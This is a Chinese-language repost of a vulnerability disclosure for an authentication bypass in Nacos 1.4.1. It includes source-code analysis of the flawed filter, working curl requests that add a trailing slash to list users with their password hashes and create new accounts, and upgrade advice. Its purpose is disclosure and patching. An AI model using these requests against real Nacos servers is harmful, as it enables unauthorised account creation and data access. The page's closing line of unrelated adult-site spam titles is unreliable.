<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          Nacos 驚爆安全漏洞,可繞過身份驗證(附修復建議)

          共 900字,需瀏覽 2分鐘

           ·

          2021-01-16 18:20


          作者 |?threedr3am

          來源 |?https://github.com/alibaba/nacos/issues/4701

          我發(fā)現nacos最新版本1.4.1對于User-Agent繞過安全漏洞的serverIdentity key-value修復機制,依然存在繞過問題,在nacos開啟了serverIdentity的自定義key-value鑒權后,通過特殊的url構造,依然能繞過限制訪問任何http接口。

          通過查看該功能,需要在application.properties添加配置nacos.core.auth.enable.userAgentAuthWhite:false,才能避免User-Agent: Nacos-Server繞過鑒權的安全問題。

          但在開啟該機制后,我從代碼中發(fā)現,任然可以在某種情況下繞過,使之失效,調用任何接口,通過該漏洞,我可以繞過鑒權,做到:

          調用添加用戶接口,添加新用戶(POST https://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test),然后使用新添加的用戶登錄console,訪問、修改、添加數據。

          一、漏洞詳情

          問題主要出現在com.alibaba.nacos.core.auth.AuthFilter#doFilter:

          public?class?AuthFilter?implements?Filter?{

          ????@Autowired
          ????private?AuthConfigs?authConfigs;

          ????@Autowired
          ????private?AuthManager?authManager;

          ????@Autowired
          ????private?ControllerMethodsCache?methodsCache;

          ????private?Map,?ResourceParser>?parserInstance?=?new?ConcurrentHashMap<>();

          ????@Override
          ????public?void?doFilter(ServletRequest?request,?ServletResponse?response,?FilterChain?chain)
          ????????????throws?IOException,?ServletException?
          {

          ????????if?(!authConfigs.isAuthEnabled())?{
          ????????????chain.doFilter(request,?response);
          ????????????return;
          ????????}

          ????????HttpServletRequest?req?=?(HttpServletRequest)?request;
          ????????HttpServletResponse?resp?=?(HttpServletResponse)?response;

          ????????if?(authConfigs.isEnableUserAgentAuthWhite())?{
          ????????????String?userAgent?=?WebUtils.getUserAgent(req);
          ????????????if?(StringUtils.startsWith(userAgent,?Constants.NACOS_SERVER_HEADER))?{
          ????????????????chain.doFilter(request,?response);
          ????????????????return;
          ????????????}
          ????????}?else?if?(StringUtils.isNotBlank(authConfigs.getServerIdentityKey())?&&?StringUtils
          ????????????????.isNotBlank(authConfigs.getServerIdentityValue()))?{
          ????????????String?serverIdentity?=?req.getHeader(authConfigs.getServerIdentityKey());
          ????????????if?(authConfigs.getServerIdentityValue().equals(serverIdentity))?{
          ????????????????chain.doFilter(request,?response);
          ????????????????return;
          ????????????}
          ????????????Loggers.AUTH.warn("Invalid?server?identity?value?for?{}?from?{}",?authConfigs.getServerIdentityKey(),
          ????????????????????req.getRemoteHost());
          ????????}?else?{
          ????????????resp.sendError(HttpServletResponse.SC_FORBIDDEN,
          ????????????????????"Invalid?server?identity?key?or?value,?Please?make?sure?set?`nacos.core.auth.server.identity.key`"
          ????????????????????????????+?"?and?`nacos.core.auth.server.identity.value`,?or?open?`nacos.core.auth.enable.userAgentAuthWhite`");
          ????????????return;
          ????????}

          ????????try?{

          ????????????Method?method?=?methodsCache.getMethod(req);

          ????????????if?(method?==?null)?{
          ????????????????chain.doFilter(request,?response);
          ????????????????return;
          ????????????}

          ????????????

          ????????}
          ???????
          ????}
          ????
          }

          可以看到,上面三個if else分支:

          第一個是authConfigs.isEnableUserAgentAuthWhite(),它默認值為true,當值為true時,會判斷請求頭User-Agent是否匹配User-Agent: Nacos-Server,若匹配,則跳過后續(xù)所有邏輯,執(zhí)行chain.doFilter(request, response);

          第二個是StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils.isNotBlank(authConfigs.getServerIdentityValue()),也就是nacos 1.4.1版本對于User-Agent: Nacos-Server安全問題的簡單修復

          第三個是,當前面兩個條件都不符合時,對請求直接作出拒絕訪問的響應

          問題出現在第二個分支,可以看到,當nacos的開發(fā)者在application.properties添加配置nacos.core.auth.enable.userAgentAuthWhite:false,開啟該key-value簡單鑒權機制后,會根據開發(fā)者配置的nacos.core.auth.server.identity.key去http header中獲取一個value,去跟開發(fā)者配置的nacos.core.auth.server.identity.value進行匹配,若不匹配,則不進入分支執(zhí)行:

          if?(authConfigs.getServerIdentityValue().equals(serverIdentity))?{
          ????chain.doFilter(request,?response);
          ????return;
          }

          但問題恰恰就出在這里,這里的邏輯理應是在不匹配時,直接返回拒絕訪問,而實際上并沒有這樣做,這就讓我們后續(xù)去繞過提供了條件。

          再往下看,代碼來到:

          Method?method?=?methodsCache.getMethod(req);

          if?(method?==?null)?{
          ????chain.doFilter(request,?response);
          ????return;
          }

          可以看到,這里有一個判斷method == null,只要滿足這個條件,就不會走到后續(xù)的鑒權代碼。

          通過查看methodsCache.getMethod(req)代碼實現,我發(fā)現了一個方法,可以使之返回的method為null

          com.alibaba.nacos.core.code.ControllerMethodsCache#getMethod

          public?Method?getMethod(HttpServletRequest?request)?{
          ????String?path?=?getPath(request);
          ????if?(path?==?null)?{
          ????????return?null;
          ????}
          ????String?httpMethod?=?request.getMethod();
          ????String?urlKey?=?httpMethod?+?REQUEST_PATH_SEPARATOR?+?path.replaceFirst(EnvUtil.getContextPath(),?"");
          ????List?requestMappingInfos?=?urlLookup.get(urlKey);
          ????if?(CollectionUtils.isEmpty(requestMappingInfos))?{
          ????????return?null;
          ????}
          ????List?matchedInfo?=?findMatchedInfo(requestMappingInfos,?request);
          ????if?(CollectionUtils.isEmpty(matchedInfo))?{
          ????????return?null;
          ????}
          ????RequestMappingInfo?bestMatch?=?matchedInfo.get(0);
          ????if?(matchedInfo.size()?>?1)?{
          ????????RequestMappingInfoComparator?comparator?=?new?RequestMappingInfoComparator();
          ????????matchedInfo.sort(comparator);
          ????????bestMatch?=?matchedInfo.get(0);
          ????????RequestMappingInfo?secondBestMatch?=?matchedInfo.get(1);
          ????????if?(comparator.compare(bestMatch,?secondBestMatch)?==?0)?{
          ????????????throw?new?IllegalStateException(
          ????????????????????"Ambiguous?methods?mapped?for?'"?+?request.getRequestURI()?+?"':?{"?+?bestMatch?+?",?"
          ????????????????????????????+?secondBestMatch?+?"}");
          ????????}
          ????}
          ????return?methods.get(bestMatch);
          }
          private?String?getPath(HttpServletRequest?request)?{
          ????String?path?=?null;
          ????try?{
          ????????path?=?new?URI(request.getRequestURI()).getPath();
          ????}?catch?(URISyntaxException?e)?{
          ????????LOGGER.error("parse?request?to?path?error",?e);
          ????}
          ????return?path;
          }

          這個代碼里面,可以很明確的看到,method值的返回,取決于

          String?urlKey?=?httpMethod?+?REQUEST_PATH_SEPARATOR?+?path.replaceFirst(EnvUtil.getContextPath(),?"");
          List?requestMappingInfos?=?urlLookup.get(urlKey);

          urlKey這個key,是否能從urlLookup這個ConcurrentHashMap中獲取到映射值

          而urlKey的組成中,存在著path這一部分,而這一部分的生成,恰恰存在著問題,它是通過如下方式獲得的:

          new?URI(request.getRequestURI()).getPath()

          一個正常的訪問,比如curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test',得到的path將會是/nacos/v1/auth/users,而通過特殊構造的url,比如curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users/?username=test&password=test' --path-as-is,得到的path將會是/nacos/v1/auth/users/

          通過該方式,將能控制該path多一個末尾的斜桿'/',導致從urlLookup這個ConcurrentHashMap中獲取不到method,為什么呢,因為nacos基本全部的RequestMapping都沒有以斜桿'/'結尾,只有非斜桿'/'結尾的RequestMapping存在并存入了urlLookup這個ConcurrentHashMap,那么,最外層的method == null條件將能滿足,從而,繞過該鑒權機制。

          二、漏洞影響范圍

          影響范圍:1.4.1

          三、漏洞復現

          訪問用戶列表接口

          curl?XGET?'http://127.0.0.1:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9'

          可以看到,繞過了鑒權,返回了用戶列表數據

          {
          ????"totalCount":?1,
          ????"pageNumber":?1,
          ????"pagesAvailable":?1,
          ????"pageItems":?[
          ????????{
          ????????????"username":?"nacos",
          ????????????"password":?"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
          ????????}
          ????]
          }

          添加新用戶

          curl?-XPOST?'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test'

          可以看到,繞過了鑒權,添加了新用戶

          {
          ????"code":200,
          ????"message":"create?user?ok!",
          ????"data":null
          }

          再次查看用戶列表

          curl?XGET?'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9'

          可以看到,返回的用戶列表數據中,多了一個我們通過繞過鑒權創(chuàng)建的新用戶

          {
          ????"totalCount":?2,
          ????"pageNumber":?1,
          ????"pagesAvailable":?1,
          ????"pageItems":?[
          ????????{
          ????????????"username":?"nacos",
          ????????????"password":?"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
          ????????},
          ????????{
          ????????????"username":?"test",
          ????????????"password":?"$2a$10$5Z1Kbm99AbBFN7y8Dd3.V.UGmeJX8nWKG47aPXXMuupC7kLe8lKIu"
          ????????}
          ????]
          }

          訪問首頁http://127.0.0.1:8848/nacos/,登錄新賬號,可以做任何事情

          三、 修復建議

          2021年1月14日 Nacos 1.4.1剛發(fā)布,會直接在1.4.1進行hotfix。

          請用戶直接下載最新的1.4.1版本進行部署升級。

          https://github.com/alibaba/nacos/releases/tag/1.4.1

          BugFix

          -[#4701] Fix bypass authentication(identity) problem.

          https://github.com/alibaba/nacos/issues/4701

          往期推薦

          手握2.2億美元,但想不起密碼,還有兩次機會,一起支支招啊!

          JAR沖突問題的解決以及運行狀態(tài)下如何查看加載的類

          歷史上的 996

          新同事上來就把項目性能優(yōu)化了一遍,瑟瑟發(fā)抖。。。

          Java微服務 vs Go微服務,究竟誰更強!?

          天才安全大佬即將拿股票前被拼多多辭退,原因是不愿意做黑客攻擊?



          瀏覽 76
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          評論
          圖片
          表情
          推薦
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  成人在线十八禁 | 韩国一区二区毛片 | 丝袜脚丫丁香五月 | 自拍偷拍51页 | 福利在线91 |